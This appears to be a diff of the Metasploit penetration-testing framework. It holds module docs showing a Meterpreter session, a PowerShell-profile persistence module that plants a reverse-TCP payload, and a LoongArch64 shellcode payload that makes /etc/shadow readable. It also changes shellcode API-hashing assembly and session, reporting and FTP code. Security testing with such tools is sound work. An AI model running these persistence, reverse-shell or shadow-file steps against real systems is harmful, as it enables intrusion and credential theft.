[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10PROLICENSE
|
||||
OS : Windows 10 1909 (10.0 Build 18363).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: WIN10PROLICENSE\windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Install Persistence
|
||||
|
||||
```
|
||||
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/powershell_profile
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/persistence/powershell_profile) > set create true
|
||||
create => true
|
||||
msf exploit(windows/persistence/powershell_profile) > set EXECUTIONPOLICY true
|
||||
EXECUTIONPOLICY => true
|
||||
msf exploit(windows/persistence/powershell_profile) > set session 1
|
||||
session => 1
|
||||
msf exploit(windows/persistence/powershell_profile) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Exploit running as background job 2.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(windows/persistence/powershell_profile) > [*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Powershell execution policy for CurrentUser (Undefined), will attempt to override
|
||||
[*] Updating Powershell execution policy for CurrentUser to RemoteSigned
|
||||
[*] C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 does not exist, creating it...
|
||||
[-] Failed to create profile file at C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
|
||||
[*] C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 does not exist, creating it...
|
||||
[-] Failed to create profile file at C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
|
||||
[*] C:\Users\windows\Documents\WindowsPowerShell\profile.ps1 does not exist, creating it...
|
||||
[*] Powershell command length: 4193
|
||||
[*] Appending payload to C:\Users\windows\Documents\WindowsPowerShell\profile.ps1
|
||||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260204.1237/WIN10PROLICENSE_20260204.1237.rc
|
||||
```
|
||||
|
||||
Start powershell on the target computer
|
||||
|
||||
```
|
||||
[*] Sending stage (190534 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:55207) at 2026-02-04 17:13:02 -0500
|
||||
```
|
||||
@@ -0,0 +1,69 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This payload targets Linux systems running on the LoongArch64 architecture. It uses the
|
||||
`fchmodat` syscall (syscall number 53) to change the permissions of a specified file, then
|
||||
exits cleanly via the `exit` syscall (syscall number 93).
|
||||
|
||||
The payload is a 48-byte position-independent shellcode stub. It is suitable for use in
|
||||
exploits targeting LoongArch64 Linux systems where arbitrary code execution has been achieved.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Generate the payload as an ELF executable:
|
||||
```
|
||||
./msfvenom -p linux/loongarch64/chmod FILE=/tmp/testfile MODE=0777 -f elf -o chmod.elf
|
||||
chmod +x chmod.elf
|
||||
```
|
||||
2. Run it under QEMU user-mode emulation:
|
||||
```
|
||||
qemu-loongarch64 -strace ./chmod.elf
|
||||
```
|
||||
3. Confirm the `fchmodat` syscall was made and returned 0:
|
||||
```
|
||||
fchmodat(AT_FDCWD,"/tmp/testfile",0777,0) = 0
|
||||
exit(0)
|
||||
```
|
||||
4. Verify the file permissions changed:
|
||||
```
|
||||
ls -la /tmp/testfile
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### FILE
|
||||
|
||||
The full path of the file to chmod on the target system. Defaults to `/etc/shadow`.
|
||||
|
||||
### MODE
|
||||
|
||||
The desired file permissions in octal notation (e.g. `0777`, `0666`, `0644`). Defaults to `0666`.
|
||||
Must not exceed `0xFFF` (octal `07777`).
|
||||
|
||||
## Scenarios
|
||||
|
||||
### LoongArch64 Linux — making /etc/shadow world-readable
|
||||
|
||||
This scenario demonstrates using the payload to make `/etc/shadow` readable after gaining
|
||||
code execution on a LoongArch64 Linux target.
|
||||
|
||||
#### Version and OS: LoongArch64 Linux (tested with qemu-loongarch64)
|
||||
|
||||
Generate the payload:
|
||||
|
||||
```
|
||||
msf6 > use payload/linux/loongarch64/chmod
|
||||
msf6 payload(linux/loongarch64/chmod) > set FILE /etc/shadow
|
||||
FILE => /etc/shadow
|
||||
msf6 payload(linux/loongarch64/chmod) > set MODE 0644
|
||||
MODE => 0644
|
||||
msf6 payload(linux/loongarch64/chmod) > generate -f elf -o /tmp/chmod.elf
|
||||
[*] Writing 168 bytes to /tmp/chmod.elf...
|
||||
```
|
||||
|
||||
Run on target (or via QEMU for testing):
|
||||
|
||||
```
|
||||
$ qemu-loongarch64 -strace /tmp/chmod.elf
|
||||
fchmodat(AT_FDCWD,"/etc/shadow",0644,0) = 0
|
||||
exit(0)
|
||||
```
|
||||
@@ -30,8 +30,8 @@ api_call:
|
||||
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
|
||||
movzx rcx, word [rdx+0x4a] ; Set rcx to the length we want to check
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||
movzx rcx, word [rdx+0x48] ; Set rcx to the length we want to check
|
||||
mov r9d, 0 ; Set r9 to the IV of the hashed module name
|
||||
loop_modname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the name
|
||||
@@ -68,7 +68,7 @@ get_next_func: ;
|
||||
dec rcx ; Decrement the function name counter
|
||||
mov esi, dword [r8+rcx*0x4]; Get rva of next module name
|
||||
add rsi, rdx ; Add the modules base address
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||
mov r9d, [rsp+0x8] ; Initialize the current function hash to the module hash
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
@@ -77,7 +77,6 @@ loop_funcname: ;
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add r9, [rsp+0x8] ; Add the current module hash to the function hash
|
||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: NT4 and newer
|
||||
; Architecture: x86
|
||||
; Size: 140 bytes
|
||||
; Size: 141 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
@@ -23,8 +23,8 @@ api_call:
|
||||
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
movzx ecx, word [edx+0x24] ; Set ECX to the length we want to check
|
||||
mov edi, 0 ; Set EDI to the IV of the hashed module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
@@ -58,7 +58,7 @@ get_next_func: ;
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
mov edi, [ebp-8] ; Initialize the current function hash to the module hash
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
@@ -67,7 +67,6 @@ loop_funcname: ;
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
|
||||
+3
-2
@@ -76,10 +76,11 @@ def unicode(string, uppercase=True):
|
||||
def hash(module, function, bits=13, print_hash=True):
|
||||
module_hash = 0
|
||||
function_hash = 0
|
||||
for c in unicode(module + '\x00'):
|
||||
for c in unicode(module):
|
||||
module_hash = ror(module_hash, bits)
|
||||
module_hash += ord(c)
|
||||
for c in str(function + b'\x00'):
|
||||
function_hash = module_hash
|
||||
for c in str(function + '\x00'):
|
||||
function_hash = ror(function_hash, bits)
|
||||
function_hash += ord(c)
|
||||
h = module_hash + function_hash & 0xFFFFFFFF
|
||||
|
||||
@@ -6,16 +6,10 @@
|
||||
#
|
||||
|
||||
require 'active_support'
|
||||
require 'bcrypt'
|
||||
require 'json'
|
||||
require 'msgpack'
|
||||
require 'metasploit/credential'
|
||||
require 'nokogiri'
|
||||
# railties has not autorequire defined
|
||||
# rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix'
|
||||
require 'rkelly'
|
||||
require 'robots'
|
||||
require 'zip'
|
||||
require 'msf'
|
||||
#
|
||||
# Project
|
||||
|
||||
@@ -7,7 +7,6 @@ module Metasploit
|
||||
MINGW_X64 = 'x86_64-w64-mingw32-gcc'
|
||||
|
||||
INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'c_payload_util')
|
||||
UTILITY_DIR = File.join(Msf::Config.data_directory, 'utilities', 'encrypted_payload')
|
||||
OPTIMIZATION_FLAGS = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ]
|
||||
|
||||
def compile_c(src)
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.127"
|
||||
VERSION = "6.4.133"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -132,13 +132,6 @@ Shell Banner:
|
||||
# Only populate +session.info+ with a captured banner if the shell is responsive and verified
|
||||
session.info = session_info if session.info.blank?
|
||||
session
|
||||
else
|
||||
# Encrypted shells need all information read before anything is written, so we read in the banner here. However we
|
||||
# don't populate session.info with the captured value since without AutoVerify there's no way to be certain this
|
||||
# actually is a banner and not junk/malicious input
|
||||
if session.class == ::Msf::Sessions::EncryptedShell
|
||||
shell_read(-1, 0.1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,113 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'securerandom'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
class EncryptedShell < Msf::Sessions::CommandShell
|
||||
|
||||
include Msf::Session::Basic
|
||||
include Msf::Session::Provider::SingleCommandShell
|
||||
include Msf::Payload::Windows::PayloadDBConf
|
||||
|
||||
attr_accessor :arch
|
||||
attr_accessor :platform
|
||||
|
||||
attr_accessor :iv
|
||||
attr_accessor :key
|
||||
attr_accessor :staged
|
||||
|
||||
attr_accessor :chacha_cipher
|
||||
|
||||
# define some sort of method that checks for
|
||||
# the existence of payload in the db before
|
||||
# using datastore
|
||||
def initialize(rstream, opts={})
|
||||
self.arch ||= ""
|
||||
self.platform = "windows"
|
||||
@staged = opts[:datastore][:staged]
|
||||
super
|
||||
end
|
||||
|
||||
def type
|
||||
"Encrypted"
|
||||
end
|
||||
|
||||
def desc
|
||||
"Encrypted reverse shell"
|
||||
end
|
||||
|
||||
def self.type
|
||||
self.class.type = "Encrypted"
|
||||
end
|
||||
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
@key = datastore[:key] || datastore['ChachaKey']
|
||||
nonce = datastore[:nonce] || datastore['ChachaNonce']
|
||||
@iv = nonce
|
||||
|
||||
# staged payloads retrieve UUID via
|
||||
# handle_connection() in stager.rb
|
||||
unless @staged
|
||||
curr_uuid = rstream.get_once(16, 1)
|
||||
@key, @nonce = retrieve_chacha_creds(curr_uuid)
|
||||
@iv = @nonce ? @nonce : "\0" * 12
|
||||
|
||||
unless @key && @nonce
|
||||
print_status('Failed to retrieve key/nonce for uuid. Resorting to datastore')
|
||||
@key = datastore['ChachaKey']
|
||||
@iv = datastore['ChachaNonce']
|
||||
end
|
||||
end
|
||||
|
||||
new_nonce = SecureRandom.hex(6)
|
||||
new_key = SecureRandom.hex(16)
|
||||
|
||||
@chacha_cipher = Rex::Crypto::Chacha20.new(@key, @iv)
|
||||
new_cipher = @chacha_cipher.chacha20_crypt(new_nonce + new_key)
|
||||
rstream.write(new_cipher)
|
||||
|
||||
@key = new_key
|
||||
@iv = new_nonce
|
||||
@chacha_cipher.reset_cipher(@key, @iv)
|
||||
|
||||
super(datastore, handler)
|
||||
end
|
||||
|
||||
##
|
||||
# Overridden from Msf::Sessions::CommandShell#shell_read
|
||||
#
|
||||
# Read encrypted data from console and decrypt it
|
||||
#
|
||||
def shell_read(length=-1, timeout=1)
|
||||
rv = rstream.get_once(length, timeout)
|
||||
# Needed to avoid crashing the +chacha20_crypt+ method
|
||||
return nil unless rv
|
||||
decrypted = @chacha_cipher.chacha20_crypt(rv)
|
||||
framework.events.on_session_output(self, decrypted) if decrypted
|
||||
|
||||
return decrypted
|
||||
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
|
||||
shell_close
|
||||
raise e
|
||||
end
|
||||
|
||||
##
|
||||
# Overridden from Msf::Sessions::CommandShell#shell_write
|
||||
#
|
||||
# Encrypt data then write it to the console
|
||||
#
|
||||
def shell_write(buf)
|
||||
return unless buf
|
||||
|
||||
framework.events.on_session_command(self, buf.strip)
|
||||
encrypted = @chacha_cipher.chacha20_crypt(buf)
|
||||
rstream.write(encrypted)
|
||||
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
|
||||
shell_close
|
||||
raise e
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -175,9 +175,13 @@ protected
|
||||
begin
|
||||
begin
|
||||
job_listener.start run_uuid
|
||||
mod.check_code = nil if mod.respond_to?(:check_code=)
|
||||
mod.last_vuln_attempt = nil if mod.respond_to?(:last_vuln_attempt=)
|
||||
mod.setup
|
||||
mod.framework.events.on_module_run(mod)
|
||||
result = block.call(mod)
|
||||
# Store the check result if the block returned a CheckCode
|
||||
mod.check_code = result if result.is_a?(Msf::Exploit::CheckCode)
|
||||
job_listener.completed(run_uuid, result, mod)
|
||||
rescue ::Exception => e
|
||||
job_listener.failed(run_uuid, e, mod)
|
||||
|
||||
@@ -181,6 +181,18 @@ class Auxiliary < Msf::Module
|
||||
#
|
||||
attr_accessor :fail_detail
|
||||
|
||||
#
|
||||
# The result of the last check invocation (a Msf::Exploit::CheckCode), if any
|
||||
#
|
||||
attr_accessor :check_code
|
||||
|
||||
#
|
||||
# The VulnAttempt object created during this run, or nil/false if none
|
||||
# was recorded. Used to prevent duplicate attempts when report_failure
|
||||
# is called later and to enrich the attempt with check code details.
|
||||
#
|
||||
attr_accessor :last_vuln_attempt
|
||||
|
||||
attr_accessor :queue
|
||||
|
||||
protected
|
||||
|
||||
@@ -17,12 +17,20 @@ module Auxiliary::MultipleTargetHosts
|
||||
end
|
||||
|
||||
def check
|
||||
return Exploit::CheckCode::Unsupported unless has_check?
|
||||
|
||||
nmod = replicant
|
||||
begin
|
||||
nmod.check_host(datastore['RHOST'])
|
||||
rescue NoMethodError
|
||||
Exploit::CheckCode::Unsupported
|
||||
result = nmod.check_host(datastore['RHOST'])
|
||||
|
||||
# Propagate the last_vuln_attempt (which may be the actual VulnAttempt
|
||||
# object) back from the replicant so that the ensure block in
|
||||
# job_run_proc (which calls report_failure on the *original* instance)
|
||||
# knows a vuln attempt was already created and can enrich it directly.
|
||||
if nmod.respond_to?(:last_vuln_attempt) && nmod.last_vuln_attempt && respond_to?(:last_vuln_attempt=)
|
||||
self.last_vuln_attempt = nmod.last_vuln_attempt
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -314,11 +314,31 @@ module Auxiliary::Report
|
||||
:fail_detail => 'vulnerability identified',
|
||||
:fail_reason => 'Untried', # Mdm::VulnAttempt::Status::UNTRIED, avoiding direct dependency on Mdm, used elsewhere in this module
|
||||
:module => mname,
|
||||
:username => username || "unknown"
|
||||
:username => username || self.owner || "unknown"
|
||||
}
|
||||
|
||||
# Enrich attempt with check code details when available.
|
||||
# Accept an explicit check_code in opts (useful when the module knows the
|
||||
# result before the framework sets self.check_code), falling back to the
|
||||
# module-level accessor.
|
||||
check_code = opts[:check_code]
|
||||
check_code = self.check_code if check_code.nil? && self.respond_to?(:check_code)
|
||||
if check_code.is_a?(Msf::Exploit::CheckCode)
|
||||
attempt_info[:check_code] = check_code.code
|
||||
attempt_info[:check_detail] = check_code.reason || check_code.message
|
||||
attempt_info[:fail_detail] = nil
|
||||
mapped_reason = Msf::Module::Failure.fail_reason_from_check_code(check_code)
|
||||
attempt_info[:fail_reason] = mapped_reason if mapped_reason
|
||||
end
|
||||
|
||||
# TODO: figure out what opts are required and why the above logic doesn't match that of the db_manager method
|
||||
framework.db.report_vuln_attempt(vuln, attempt_info)
|
||||
attempt = framework.db.report_vuln_attempt(vuln, attempt_info)
|
||||
|
||||
# Store the attempt object so that report_failure (called later by the
|
||||
# job wrapper) can enrich it directly without re-querying the DB.
|
||||
if self.respond_to?(:last_vuln_attempt=)
|
||||
self.last_vuln_attempt = attempt || true
|
||||
end
|
||||
|
||||
vuln
|
||||
end
|
||||
|
||||
@@ -15,6 +15,19 @@ include Msf::Auxiliary::MultipleTargetHosts
|
||||
class AttemptFailed < Msf::Auxiliary::Failed
|
||||
end
|
||||
|
||||
# Scanner modules handle per-host failure reporting through replicants
|
||||
# inside their run_host/run_batch threads. Override the default
|
||||
# report_failure so that the parent-level call from job_run_proc's
|
||||
# ensure block does not create a duplicate or misattributed attempt
|
||||
# after a scan. The check path (check_simple) still needs the
|
||||
# default report_failure behaviour, so we only skip when the scanner's
|
||||
# run method has executed.
|
||||
def report_failure
|
||||
return if @scanner_run_completed
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes an instance of a recon auxiliary module
|
||||
#
|
||||
@@ -42,6 +55,7 @@ end
|
||||
# The command handler when launched from the console
|
||||
#
|
||||
def run
|
||||
@scanner_run_completed = false
|
||||
@show_progress = datastore['ShowProgress']
|
||||
@show_percent = datastore['ShowProgressPercent'].to_i
|
||||
|
||||
@@ -260,6 +274,7 @@ def run
|
||||
print_status("Caught interrupt from the console...")
|
||||
return
|
||||
ensure
|
||||
@scanner_run_completed = true
|
||||
seppuko!()
|
||||
end
|
||||
end
|
||||
|
||||
@@ -79,9 +79,25 @@ module Msf::DBManager::ExploitAttempt
|
||||
|
||||
vuln = nil
|
||||
if rids.present?
|
||||
# Try to find an existing vulnerability with the same service & references
|
||||
# or, if svc is nil, with the same host & references
|
||||
vuln = find_vuln_by_refs(rids, host, svc, false)
|
||||
# Only perform vuln lookup when no check_code is present (normal
|
||||
# exploit flow) or the check result positively indicates vulnerability.
|
||||
# Safe, Unknown, and Detected results should not associate this attempt
|
||||
# with an existing vuln. Only key off check_code — fail_reason alone
|
||||
# is too broad (e.g. Failure::Unknown covers real exploit failures too).
|
||||
vuln_check_codes = [Msf::Exploit::CheckCode::Appears.code, Msf::Exploit::CheckCode::Vulnerable.code]
|
||||
if opts[:check_code].nil? || vuln_check_codes.include?(opts[:check_code])
|
||||
# Try to find an existing vulnerability with the same service & references
|
||||
# or, if svc is nil, with the same host & references
|
||||
vuln = find_vuln_by_refs(rids, host, svc, false)
|
||||
|
||||
# Fall back to a host-only lookup when the service-scoped query found
|
||||
# nothing. Only match vulns with no associated service to avoid
|
||||
# misattributing attempts to a vuln on a different service.
|
||||
if svc && vuln.nil?
|
||||
fallback_vuln = find_vuln_by_refs(rids, host, nil, false)
|
||||
vuln = fallback_vuln if fallback_vuln && fallback_vuln.service_id.nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
opts[:service] = svc
|
||||
@@ -158,8 +174,20 @@ module Msf::DBManager::ExploitAttempt
|
||||
# Create a references map from the module list
|
||||
ref_objs = ::Mdm::Ref.where(name: ref_names)
|
||||
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc, false)
|
||||
# Only perform vuln lookup when no check_code is present (normal
|
||||
# exploit flow) or the check result positively indicates vulnerability.
|
||||
# Safe, Unknown, and Detected results should not associate this attempt
|
||||
# with an existing vuln. Only key off check_code — fail_reason alone
|
||||
# is too broad (e.g. Failure::Unknown covers real exploit failures too).
|
||||
vuln_check_codes = [Msf::Exploit::CheckCode::Appears.code, Msf::Exploit::CheckCode::Vulnerable.code]
|
||||
if opts[:check_code].nil? || vuln_check_codes.include?(opts[:check_code])
|
||||
# Try find a matching vulnerability
|
||||
vuln = find_vuln_by_refs(ref_objs, host, svc, false)
|
||||
if svc && vuln.nil?
|
||||
fallback_vuln = find_vuln_by_refs(ref_objs, host, nil, false)
|
||||
vuln = fallback_vuln if fallback_vuln && fallback_vuln.service_id.nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
attempt_info = {
|
||||
@@ -170,12 +198,17 @@ module Msf::DBManager::ExploitAttempt
|
||||
:module => mname,
|
||||
:username => username || "unknown",
|
||||
}
|
||||
attempt_info[:check_code] = opts[:check_code] if opts[:check_code]
|
||||
attempt_info[:check_detail] = opts[:check_detail] if opts[:check_detail]
|
||||
|
||||
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
|
||||
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
|
||||
|
||||
# We have match, lets create a vuln_attempt record
|
||||
if vuln
|
||||
# We have match, lets create a vuln_attempt record.
|
||||
# Skip if the caller already recorded a vuln attempt for this run
|
||||
# (e.g. Auxiliary::Report#report_vuln sets skip_vuln_attempt via
|
||||
# the last_vuln_attempt flag on the module).
|
||||
if vuln && !opts[:skip_vuln_attempt]
|
||||
attempt_info[:vuln_id] = vuln.id
|
||||
vuln.vuln_attempts.create(attempt_info)
|
||||
|
||||
@@ -200,7 +233,8 @@ module Msf::DBManager::ExploitAttempt
|
||||
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
|
||||
end
|
||||
|
||||
host.exploit_attempts.create(attempt_info)
|
||||
# check_code and check_detail are valid for VulnAttempt but not ExploitAttempt
|
||||
host.exploit_attempts.create(attempt_info.except(:check_code, :check_detail))
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
@@ -85,7 +85,7 @@ module Msf
|
||||
# This follows Ruby's Marshal integer encoding scheme.
|
||||
def read_marshal_int
|
||||
c = read_byte
|
||||
c = (c ^ 256) - 256 if c > 127 # sign-extend
|
||||
c -= 256 if c > 127 # sign-extend
|
||||
|
||||
if c == 0
|
||||
0
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
require 'bcrypt'
|
||||
require 'securerandom'
|
||||
|
||||
module Msf::DBManager::User
|
||||
|
||||
@@ -101,9 +101,10 @@ module Msf::DBManager::Vuln
|
||||
#
|
||||
def report_vuln(opts)
|
||||
return if not active
|
||||
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
|
||||
raise ArgumentError.new("Deprecated data column for vuln, use .info instead") if opts[:data]
|
||||
name = opts[:name] || return
|
||||
raise ArgumentError.new("report_vuln Missing required option :host") if opts[:host].nil?
|
||||
raise ArgumentError.new("report_vuln Deprecated data column for vuln, use .info instead") if opts[:data]
|
||||
raise ArgumentError.new("report_vuln Missing required option :name") if opts[:name].nil?
|
||||
name = opts[:name]
|
||||
info = opts[:info]
|
||||
|
||||
::ApplicationRecord.connection_pool.with_connection {
|
||||
@@ -333,7 +334,7 @@ module Msf::DBManager::Vuln
|
||||
# @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the Vuln entries to delete.
|
||||
# @return [Array] Array containing the Mdm::Vuln objects that were successfully deleted.
|
||||
def delete_vuln(opts)
|
||||
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
|
||||
raise ArgumentError.new("delete_vuln The following options are required: :ids") if opts[:ids].nil?
|
||||
|
||||
::ApplicationRecord.connection_pool.with_connection {
|
||||
deleted = []
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
|
||||
class SegmentAppender < SegmentInjector
|
||||
|
||||
def payload_stub(prefix)
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
|
||||
class SegmentInjector
|
||||
|
||||
attr_accessor :payload
|
||||
|
||||
@@ -1493,6 +1493,13 @@ class Exploit < Msf::Module
|
||||
#
|
||||
attr_accessor :fail_detail
|
||||
|
||||
#
|
||||
# The VulnAttempt object created during this run, or nil/false if none
|
||||
# was recorded. Used to prevent duplicate attempts when report_failure
|
||||
# is called later and to enrich the attempt with check code details.
|
||||
#
|
||||
attr_accessor :last_vuln_attempt
|
||||
|
||||
#
|
||||
# The list of targets.
|
||||
#
|
||||
|
||||
@@ -51,7 +51,8 @@ module Exploit::Remote::AutoCheck
|
||||
name: fullname,
|
||||
username: respond_to?(:owner) ? owner : nil,
|
||||
refs: references,
|
||||
info: description.strip
|
||||
info: description.strip,
|
||||
check_code: check_code
|
||||
}
|
||||
|
||||
if respond_to?(:session) && session.respond_to?(:session_host)
|
||||
|
||||
@@ -11,6 +11,7 @@ module Msf
|
||||
module Exploit::Remote::Ftp
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
#
|
||||
# Creates an instance of an FTP exploit module.
|
||||
@@ -47,22 +48,65 @@ module Exploit::Remote::Ftp
|
||||
# message is read in and stored in the 'banner' attribute.
|
||||
#
|
||||
def connect(global = true, verbose = nil)
|
||||
verbose ||= datastore['FTPDEBUG']
|
||||
verbose ||= datastore['VERBOSE']
|
||||
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
|
||||
|
||||
print_status("Connecting to FTP server #{rhost}:#{rport}...") if verbose
|
||||
print_status("Connecting to FTP server...") if verbose
|
||||
|
||||
fd = super(global)
|
||||
begin
|
||||
fd = super(global)
|
||||
rescue ::Rex::ConnectionRefused
|
||||
report_host(host: rhost)
|
||||
raise
|
||||
end
|
||||
|
||||
# Wait for a banner to arrive...
|
||||
self.banner = recv_ftp_resp(fd)
|
||||
|
||||
print_status("Connected to target FTP server.") if verbose
|
||||
print_status('Connected to target FTP server') if verbose
|
||||
|
||||
# Only record the service and banner when the greeting looks like FTP (RFC 959)
|
||||
if self.banner&.match?(/^(120|220)[\s-]/)
|
||||
# Cleaned up FTP banner
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'ftp',
|
||||
info: Rex::Text.to_hex_ascii(banner_version),
|
||||
parents: {
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'tcp'
|
||||
}
|
||||
)
|
||||
|
||||
# Raw FTP banner
|
||||
report_note(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
sname: 'ftp',
|
||||
type: 'ftp.banner',
|
||||
data: { banner: Rex::Text.to_hex_ascii(self.banner.strip) }
|
||||
)
|
||||
end
|
||||
|
||||
# Return the file descriptor to the caller
|
||||
fd
|
||||
end
|
||||
|
||||
# Extracts a normalized version string from the FTP banner
|
||||
# 220 (vsFTPd 2.3.4)\x0d\x0a -> vsFTPd 2.3.4
|
||||
# 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.0.10]\x0d\x0a -> ProFTPD 1.3.1 Server (Debian)
|
||||
def banner_version
|
||||
banner.to_s
|
||||
.sub(/^\d{3}[\s-]/, '')
|
||||
.strip
|
||||
.gsub(/\A\(|\)\z/, '')
|
||||
.gsub(/\s*\[(?:(?:\d{1,3}\.){3}\d{1,3}|[0-9A-Fa-f:]*:[0-9A-Fa-f:.]+)\]/, '')
|
||||
end
|
||||
|
||||
#
|
||||
# This method handles establishing datasocket for data channel
|
||||
#
|
||||
@@ -133,8 +177,8 @@ module Exploit::Remote::Ftp
|
||||
# that have been supplied in the exploit options.
|
||||
#
|
||||
def connect_login(global = true, verbose = nil)
|
||||
verbose ||= datastore['FTPDEBUG']
|
||||
verbose ||= datastore['VERBOSE']
|
||||
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
|
||||
|
||||
ftpsock = ftp_connect(global, verbose)
|
||||
|
||||
if !(user and pass)
|
||||
@@ -312,7 +356,7 @@ module Exploit::Remote::Ftp
|
||||
if not found_end
|
||||
resp << ln
|
||||
resp << "\r\n"
|
||||
if ln.length > 3 and ln[3,1] == ' '
|
||||
if ln.length > 3 and ln[3,1] == ' ' and ln[0,3] =~ /\A\d{3}\z/
|
||||
found_end = true
|
||||
end
|
||||
else
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# 3rd party gems
|
||||
require 'http/cookie_jar/hash_store'
|
||||
require 'http/cookie_jar'
|
||||
require 'http/cookie'
|
||||
